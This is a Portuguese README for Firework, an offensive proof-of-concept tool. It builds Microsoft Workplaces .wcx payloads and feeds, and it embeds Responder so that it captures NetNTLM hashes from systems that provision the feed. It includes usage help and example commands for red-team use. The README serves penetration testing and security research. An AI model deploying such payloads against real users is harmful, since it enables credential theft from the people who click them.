
Firework é uma ferramenta de prova de conceito para interagir com o Microsoft Workplaces, criando arquivos válidos necessários para o processo de provisionamento.
⚠️ NOTA: Esta ferramenta não está mais em manutenção ativa.
Firework é uma ferramenta de prova de conceito para interagir com o Microsoft Workplaces, criando os arquivos válidos necessários para o processo de provisionamento. A ferramenta também incorpora código do Responder para aproveitar sua capacidade de capturar hashes NetNTLM de um sistema que provisiona um feed do Workplace através dela.
Esta ferramenta pode ser usada como parte de um teste de penetração ou exercício de equipe vermelha para criar um payload .wcx (e feed associado) que, se clicado, pode ser usado para:
Leia o blog do SpiderLabs para um resumo mais detalhado e passo a passo.
$ pip install -r requirements.txt
.-:::::'::::::::::.. .,::::::.:: . .::: ... :::::::.. ::: .
;;;'''' ;;;;;;;``;;;; ;;;;''''';;, ;; ;;;'.;;;;;;;. ;;;;``;;;; ;;; .;;,.
[[[,,== [[[ [[[,/[[[' [[cccc '[[, [[, [[',[[ \[[,[[[,/[[[' [[[[[/'
`$$$"`` $$$ $$$$$$c $$"""" Y$c$$$c$P $$$, $$$$$$$$$c _$$$$,
888 888 888b "88bo,888oo,__ "88"888 "888,_ _,88P888b "88bo,"888"88o,
"MM, MMM MMMM "W" """"YUMMM "M "M" "YMMMMMP" MMMM "W" MMM "MMP"
usage: firework.py [-h] -c COMPANY -u URL -a APP -e EXT -i ICON [-l LISTEN]
[-r RDP] [-d DOMAIN] [-n USERNAME] [-p PASSWORDHASH]
[-t CERT] [-k KEY]
Ferramenta de workplace WCX
optional arguments:
-h, --help Mostra esta mensagem de ajuda e sai
-c COMPANY, --company COMPANY
Nome da empresa
-u URL, --url URL URL do feed
-a APP, --app APP Nome do aplicativo
-e EXT, --ext EXT Extensão do aplicativo
-i ICON, --icon ICON Ícone do aplicativo
-l LISTEN, --listen LISTEN
Porta do servidor web TLS
-r RDP, --rdp RDP Servidor RDP
-d DOMAIN, --domain DOMAIN
Domínio RDP
-n USERNAME, --username USERNAME
Nome de usuário RDP
-p PASSWORD, --password PASSWORD
Senha RDP
-t CERT, --cert CERT Certificado SSL
-k KEY, --key KEY Chave SSL
Exemplo básico:
python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico
O servidor web embutido iniciará na porta 443 se cert.crt e key.pem estiverem presentes no diretório atual. Isso forçará um desafio NTLM com o responder. Se esses arquivos não estiverem presentes, a ferramenta escreverá todos os arquivos no diretório local para seu próprio hospedagem.
Se desejar iniciar o servidor web embutido em uma porta alternativa, use a flag -l como abaixo:
python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico -l 8443
Você também pode adicionar algumas personalizações ao arquivo .rdp que é servido.
Nota: Senhas armazenadas em arquivos .rdp provavelmente são ignoradas em uma configuração padrão.
python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico -r dc.corp.local -d corp.local -n admin -p <senha criptografada>
Após executar a ferramenta, o arquivo 'payload.wcx' será escrito no diretório atual. Este arquivo é o que, quando clicado, inicia o processo de provisionamento.
Firework
Criado por David Middlehurst Copyright (C) 2018 Trustwave Holdings, Inc.
Este programa é software livre: você pode redistribuí-lo e/ou modificá-lo sob os termos da Licença Pública Geral GNU como publicada pela Free Software Foundation, seja a versão 3 da Licença, ou (a seu critério) qualquer versão posterior.
Este programa é distribuído na esperança de que seja útil, mas SEM NENHUMA GARANTIA; sem mesmo a garantia implícita de COMERCIALIZAÇÃO ou ADEQUAÇÃO A UM DETERMINADO FIM. Veja a Licença Pública Geral GNU para mais detalhes.